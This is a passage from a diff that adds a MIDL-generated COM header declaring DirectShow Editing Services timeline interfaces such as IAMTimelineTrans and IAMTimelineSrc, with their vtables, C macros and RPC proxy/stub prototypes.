*pVal); + + +void __RPC_STUB IAMTimelineObj_GetEmbedDepth_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMTimelineObj_INTERFACE_DEFINED__ */ + + +#ifndef __IAMTimelineEffectable_INTERFACE_DEFINED__ +#define __IAMTimelineEffectable_INTERFACE_DEFINED__ + +/* interface IAMTimelineEffectable */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IAMTimelineEffectable; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("EAE58537-622E-11d2-8CAD-00A024580902") + IAMTimelineEffectable : public IUnknown + { + public: + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE EffectInsBefore( + IAMTimelineObj *pFX, + long priority) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE EffectSwapPriorities( + long PriorityA, + long PriorityB) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE EffectGetCount( + long *pCount) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetEffect( + /* [out] */ IAMTimelineObj **ppFx, + long Which) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMTimelineEffectableVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMTimelineEffectable * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMTimelineEffectable * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMTimelineEffectable * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *EffectInsBefore )( + IAMTimelineEffectable * This, + IAMTimelineObj *pFX, + long priority); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *EffectSwapPriorities )( + IAMTimelineEffectable * This, + long PriorityA, + long PriorityB); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *EffectGetCount )( + IAMTimelineEffectable * This, + long *pCount); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetEffect )( + IAMTimelineEffectable * This, + /* [out] */ IAMTimelineObj **ppFx, + long Which); + + END_INTERFACE + } IAMTimelineEffectableVtbl; + + interface IAMTimelineEffectable + { + CONST_VTBL struct IAMTimelineEffectableVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMTimelineEffectable_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMTimelineEffectable_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMTimelineEffectable_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMTimelineEffectable_EffectInsBefore(This,pFX,priority) \ + (This)->lpVtbl -> EffectInsBefore(This,pFX,priority) + +#define IAMTimelineEffectable_EffectSwapPriorities(This,PriorityA,PriorityB) \ + (This)->lpVtbl -> EffectSwapPriorities(This,PriorityA,PriorityB) + +#define IAMTimelineEffectable_EffectGetCount(This,pCount) \ + (This)->lpVtbl -> EffectGetCount(This,pCount) + +#define IAMTimelineEffectable_GetEffect(This,ppFx,Which) \ + (This)->lpVtbl -> GetEffect(This,ppFx,Which) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineEffectable_EffectInsBefore_Proxy( + IAMTimelineEffectable * This, + IAMTimelineObj *pFX, + long priority); + + +void __RPC_STUB IAMTimelineEffectable_EffectInsBefore_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineEffectable_EffectSwapPriorities_Proxy( + IAMTimelineEffectable * This, + long PriorityA, + long PriorityB); + + +void __RPC_STUB IAMTimelineEffectable_EffectSwapPriorities_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineEffectable_EffectGetCount_Proxy( + IAMTimelineEffectable * This, + long *pCount); + + +void __RPC_STUB IAMTimelineEffectable_EffectGetCount_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineEffectable_GetEffect_Proxy( + IAMTimelineEffectable * This, + /* [out] */ IAMTimelineObj **ppFx, + long Which); + + +void __RPC_STUB IAMTimelineEffectable_GetEffect_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMTimelineEffectable_INTERFACE_DEFINED__ */ + + +#ifndef __IAMTimelineEffect_INTERFACE_DEFINED__ +#define __IAMTimelineEffect_INTERFACE_DEFINED__ + +/* interface IAMTimelineEffect */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IAMTimelineEffect; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("BCE0C264-622D-11d2-8CAD-00A024580902") + IAMTimelineEffect : public IUnknown + { + public: + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE EffectGetPriority( + long *pVal) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMTimelineEffectVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMTimelineEffect * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMTimelineEffect * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMTimelineEffect * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *EffectGetPriority )( + IAMTimelineEffect * This, + long *pVal); + + END_INTERFACE + } IAMTimelineEffectVtbl; + + interface IAMTimelineEffect + { + CONST_VTBL struct IAMTimelineEffectVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMTimelineEffect_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMTimelineEffect_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMTimelineEffect_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMTimelineEffect_EffectGetPriority(This,pVal) \ + (This)->lpVtbl -> EffectGetPriority(This,pVal) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineEffect_EffectGetPriority_Proxy( + IAMTimelineEffect * This, + long *pVal); + + +void __RPC_STUB IAMTimelineEffect_EffectGetPriority_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMTimelineEffect_INTERFACE_DEFINED__ */ + + +#ifndef __IAMTimelineTransable_INTERFACE_DEFINED__ +#define __IAMTimelineTransable_INTERFACE_DEFINED__ + +/* interface IAMTimelineTransable */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IAMTimelineTransable; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("378FA386-622E-11d2-8CAD-00A024580902") + IAMTimelineTransable : public IUnknown + { + public: + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE TransAdd( + IAMTimelineObj *pTrans) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE TransGetCount( + long *pCount) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetNextTrans( + /* [out] */ IAMTimelineObj **ppTrans, + REFERENCE_TIME *pInOut) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetNextTrans2( + /* [out] */ IAMTimelineObj **ppTrans, + REFTIME *pInOut) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetTransAtTime( + /* [out] */ IAMTimelineObj **ppObj, + REFERENCE_TIME Time, + long SearchDirection) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetTransAtTime2( + /* [out] */ IAMTimelineObj **ppObj, + REFTIME Time, + long SearchDirection) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMTimelineTransableVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMTimelineTransable * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMTimelineTransable * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMTimelineTransable * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *TransAdd )( + IAMTimelineTransable * This, + IAMTimelineObj *pTrans); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *TransGetCount )( + IAMTimelineTransable * This, + long *pCount); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetNextTrans )( + IAMTimelineTransable * This, + /* [out] */ IAMTimelineObj **ppTrans, + REFERENCE_TIME *pInOut); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetNextTrans2 )( + IAMTimelineTransable * This, + /* [out] */ IAMTimelineObj **ppTrans, + REFTIME *pInOut); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetTransAtTime )( + IAMTimelineTransable * This, + /* [out] */ IAMTimelineObj **ppObj, + REFERENCE_TIME Time, + long SearchDirection); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetTransAtTime2 )( + IAMTimelineTransable * This, + /* [out] */ IAMTimelineObj **ppObj, + REFTIME Time, + long SearchDirection); + + END_INTERFACE + } IAMTimelineTransableVtbl; + + interface IAMTimelineTransable + { + CONST_VTBL struct IAMTimelineTransableVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMTimelineTransable_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMTimelineTransable_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMTimelineTransable_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMTimelineTransable_TransAdd(This,pTrans) \ + (This)->lpVtbl -> TransAdd(This,pTrans) + +#define IAMTimelineTransable_TransGetCount(This,pCount) \ + (This)->lpVtbl -> TransGetCount(This,pCount) + +#define IAMTimelineTransable_GetNextTrans(This,ppTrans,pInOut) \ + (This)->lpVtbl -> GetNextTrans(This,ppTrans,pInOut) + +#define IAMTimelineTransable_GetNextTrans2(This,ppTrans,pInOut) \ + (This)->lpVtbl -> GetNextTrans2(This,ppTrans,pInOut) + +#define IAMTimelineTransable_GetTransAtTime(This,ppObj,Time,SearchDirection) \ + (This)->lpVtbl -> GetTransAtTime(This,ppObj,Time,SearchDirection) + +#define IAMTimelineTransable_GetTransAtTime2(This,ppObj,Time,SearchDirection) \ + (This)->lpVtbl -> GetTransAtTime2(This,ppObj,Time,SearchDirection) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTransable_TransAdd_Proxy( + IAMTimelineTransable * This, + IAMTimelineObj *pTrans); + + +void __RPC_STUB IAMTimelineTransable_TransAdd_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTransable_TransGetCount_Proxy( + IAMTimelineTransable * This, + long *pCount); + + +void __RPC_STUB IAMTimelineTransable_TransGetCount_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTransable_GetNextTrans_Proxy( + IAMTimelineTransable * This, + /* [out] */ IAMTimelineObj **ppTrans, + REFERENCE_TIME *pInOut); + + +void __RPC_STUB IAMTimelineTransable_GetNextTrans_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTransable_GetNextTrans2_Proxy( + IAMTimelineTransable * This, + /* [out] */ IAMTimelineObj **ppTrans, + REFTIME *pInOut); + + +void __RPC_STUB IAMTimelineTransable_GetNextTrans2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTransable_GetTransAtTime_Proxy( + IAMTimelineTransable * This, + /* [out] */ IAMTimelineObj **ppObj, + REFERENCE_TIME Time, + long SearchDirection); + + +void __RPC_STUB IAMTimelineTransable_GetTransAtTime_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTransable_GetTransAtTime2_Proxy( + IAMTimelineTransable * This, + /* [out] */ IAMTimelineObj **ppObj, + REFTIME Time, + long SearchDirection); + + +void __RPC_STUB IAMTimelineTransable_GetTransAtTime2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMTimelineTransable_INTERFACE_DEFINED__ */ + + +#ifndef __IAMTimelineSplittable_INTERFACE_DEFINED__ +#define __IAMTimelineSplittable_INTERFACE_DEFINED__ + +/* interface IAMTimelineSplittable */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IAMTimelineSplittable; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("A0F840A0-D590-11d2-8D55-00A0C9441E20") + IAMTimelineSplittable : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE SplitAt( + REFERENCE_TIME Time) = 0; + + virtual HRESULT STDMETHODCALLTYPE SplitAt2( + REFTIME Time) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMTimelineSplittableVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMTimelineSplittable * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMTimelineSplittable * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMTimelineSplittable * This); + + HRESULT ( STDMETHODCALLTYPE *SplitAt )( + IAMTimelineSplittable * This, + REFERENCE_TIME Time); + + HRESULT ( STDMETHODCALLTYPE *SplitAt2 )( + IAMTimelineSplittable * This, + REFTIME Time); + + END_INTERFACE + } IAMTimelineSplittableVtbl; + + interface IAMTimelineSplittable + { + CONST_VTBL struct IAMTimelineSplittableVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMTimelineSplittable_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMTimelineSplittable_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMTimelineSplittable_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMTimelineSplittable_SplitAt(This,Time) \ + (This)->lpVtbl -> SplitAt(This,Time) + +#define IAMTimelineSplittable_SplitAt2(This,Time) \ + (This)->lpVtbl -> SplitAt2(This,Time) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IAMTimelineSplittable_SplitAt_Proxy( + IAMTimelineSplittable * This, + REFERENCE_TIME Time); + + +void __RPC_STUB IAMTimelineSplittable_SplitAt_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineSplittable_SplitAt2_Proxy( + IAMTimelineSplittable * This, + REFTIME Time); + + +void __RPC_STUB IAMTimelineSplittable_SplitAt2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMTimelineSplittable_INTERFACE_DEFINED__ */ + + +#ifndef __IAMTimelineTrans_INTERFACE_DEFINED__ +#define __IAMTimelineTrans_INTERFACE_DEFINED__ + +/* interface IAMTimelineTrans */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IAMTimelineTrans; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("BCE0C265-622D-11d2-8CAD-00A024580902") + IAMTimelineTrans : public IUnknown + { + public: + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetCutPoint( + REFERENCE_TIME *pTLTime) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetCutPoint2( + REFTIME *pTLTime) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetCutPoint( + REFERENCE_TIME TLTime) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetCutPoint2( + REFTIME TLTime) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetSwapInputs( + BOOL *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetSwapInputs( + BOOL pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetCutsOnly( + BOOL *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetCutsOnly( + BOOL pVal) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMTimelineTransVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMTimelineTrans * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMTimelineTrans * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMTimelineTrans * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetCutPoint )( + IAMTimelineTrans * This, + REFERENCE_TIME *pTLTime); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetCutPoint2 )( + IAMTimelineTrans * This, + REFTIME *pTLTime); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetCutPoint )( + IAMTimelineTrans * This, + REFERENCE_TIME TLTime); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetCutPoint2 )( + IAMTimelineTrans * This, + REFTIME TLTime); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetSwapInputs )( + IAMTimelineTrans * This, + BOOL *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetSwapInputs )( + IAMTimelineTrans * This, + BOOL pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetCutsOnly )( + IAMTimelineTrans * This, + BOOL *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetCutsOnly )( + IAMTimelineTrans * This, + BOOL pVal); + + END_INTERFACE + } IAMTimelineTransVtbl; + + interface IAMTimelineTrans + { + CONST_VTBL struct IAMTimelineTransVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMTimelineTrans_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMTimelineTrans_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMTimelineTrans_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMTimelineTrans_GetCutPoint(This,pTLTime) \ + (This)->lpVtbl -> GetCutPoint(This,pTLTime) + +#define IAMTimelineTrans_GetCutPoint2(This,pTLTime) \ + (This)->lpVtbl -> GetCutPoint2(This,pTLTime) + +#define IAMTimelineTrans_SetCutPoint(This,TLTime) \ + (This)->lpVtbl -> SetCutPoint(This,TLTime) + +#define IAMTimelineTrans_SetCutPoint2(This,TLTime) \ + (This)->lpVtbl -> SetCutPoint2(This,TLTime) + +#define IAMTimelineTrans_GetSwapInputs(This,pVal) \ + (This)->lpVtbl -> GetSwapInputs(This,pVal) + +#define IAMTimelineTrans_SetSwapInputs(This,pVal) \ + (This)->lpVtbl -> SetSwapInputs(This,pVal) + +#define IAMTimelineTrans_GetCutsOnly(This,pVal) \ + (This)->lpVtbl -> GetCutsOnly(This,pVal) + +#define IAMTimelineTrans_SetCutsOnly(This,pVal) \ + (This)->lpVtbl -> SetCutsOnly(This,pVal) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrans_GetCutPoint_Proxy( + IAMTimelineTrans * This, + REFERENCE_TIME *pTLTime); + + +void __RPC_STUB IAMTimelineTrans_GetCutPoint_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrans_GetCutPoint2_Proxy( + IAMTimelineTrans * This, + REFTIME *pTLTime); + + +void __RPC_STUB IAMTimelineTrans_GetCutPoint2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrans_SetCutPoint_Proxy( + IAMTimelineTrans * This, + REFERENCE_TIME TLTime); + + +void __RPC_STUB IAMTimelineTrans_SetCutPoint_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrans_SetCutPoint2_Proxy( + IAMTimelineTrans * This, + REFTIME TLTime); + + +void __RPC_STUB IAMTimelineTrans_SetCutPoint2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrans_GetSwapInputs_Proxy( + IAMTimelineTrans * This, + BOOL *pVal); + + +void __RPC_STUB IAMTimelineTrans_GetSwapInputs_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrans_SetSwapInputs_Proxy( + IAMTimelineTrans * This, + BOOL pVal); + + +void __RPC_STUB IAMTimelineTrans_SetSwapInputs_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrans_GetCutsOnly_Proxy( + IAMTimelineTrans * This, + BOOL *pVal); + + +void __RPC_STUB IAMTimelineTrans_GetCutsOnly_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineTrans_SetCutsOnly_Proxy( + IAMTimelineTrans * This, + BOOL pVal); + + +void __RPC_STUB IAMTimelineTrans_SetCutsOnly_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMTimelineTrans_INTERFACE_DEFINED__ */ + + +#ifndef __IAMTimelineSrc_INTERFACE_DEFINED__ +#define __IAMTimelineSrc_INTERFACE_DEFINED__ + +/* interface IAMTimelineSrc */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IAMTimelineSrc; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("78530B79-61F9-11D2-8CAD-00A024580902") + IAMTimelineSrc : public IUnknown + { + public: + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetMediaTimes( + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetMediaTimes2( + REFTIME *pStart, + REFTIME *pStop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE ModifyStopTime( + REFERENCE_TIME Stop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE ModifyStopTime2( + REFTIME Stop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE FixMediaTimes( + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE FixMediaTimes2( + REFTIME *pStart, + REFTIME *pStop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetMediaTimes( + REFERENCE_TIME Start, + REFERENCE_TIME Stop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetMediaTimes2( + REFTIME Start, + REFTIME Stop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetMediaLength( + REFERENCE_TIME Length) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetMediaLength2( + REFTIME Length) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetMediaLength( + REFERENCE_TIME *pLength) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetMediaLength2( + REFTIME *pLength) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetMediaName( + /* [retval][out] */ BSTR *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetMediaName( + BSTR newVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SpliceWithNext( + IAMTimelineObj *pNext) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetStreamNumber( + long *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetStreamNumber( + long Val) = 0; + + virtual HRESULT STDMETHODCALLTYPE IsNormalRate( + BOOL *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetDefaultFPS( + double *pFPS) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetDefaultFPS( + double FPS) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetStretchMode( + int *pnStretchMode) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetStretchMode( + int nStretchMode) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMTimelineSrcVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMTimelineSrc * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMTimelineSrc * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMTimelineSrc * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetMediaTimes )( + IAMTimelineSrc * This, + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetMediaTimes2 )( + IAMTimelineSrc * This, + REFTIME *pStart, + REFTIME *pStop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *ModifyStopTime )( + IAMTimelineSrc * This, + REFERENCE_TIME Stop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *ModifyStopTime2 )( + IAMTimelineSrc * This, + REFTIME Stop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *FixMediaTimes )( + IAMTimelineSrc * This, + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *FixMediaTimes2 )( + IAMTimelineSrc * This, + REFTIME *pStart, + REFTIME *pStop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetMediaTimes )( + IAMTimelineSrc * This, + REFERENCE_TIME Start, + REFERENCE_TIME Stop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetMediaTimes2 )( + IAMTimelineSrc * This, + REFTIME Start, + REFTIME Stop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetMediaLength )( + IAMTimelineSrc * This, + REFERENCE_TIME Length); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetMediaLength2 )( + IAMTimelineSrc * This, + REFTIME Length); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetMediaLength )( + IAMTimelineSrc * This, + REFERENCE_TIME *pLength); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetMediaLength2 )( + 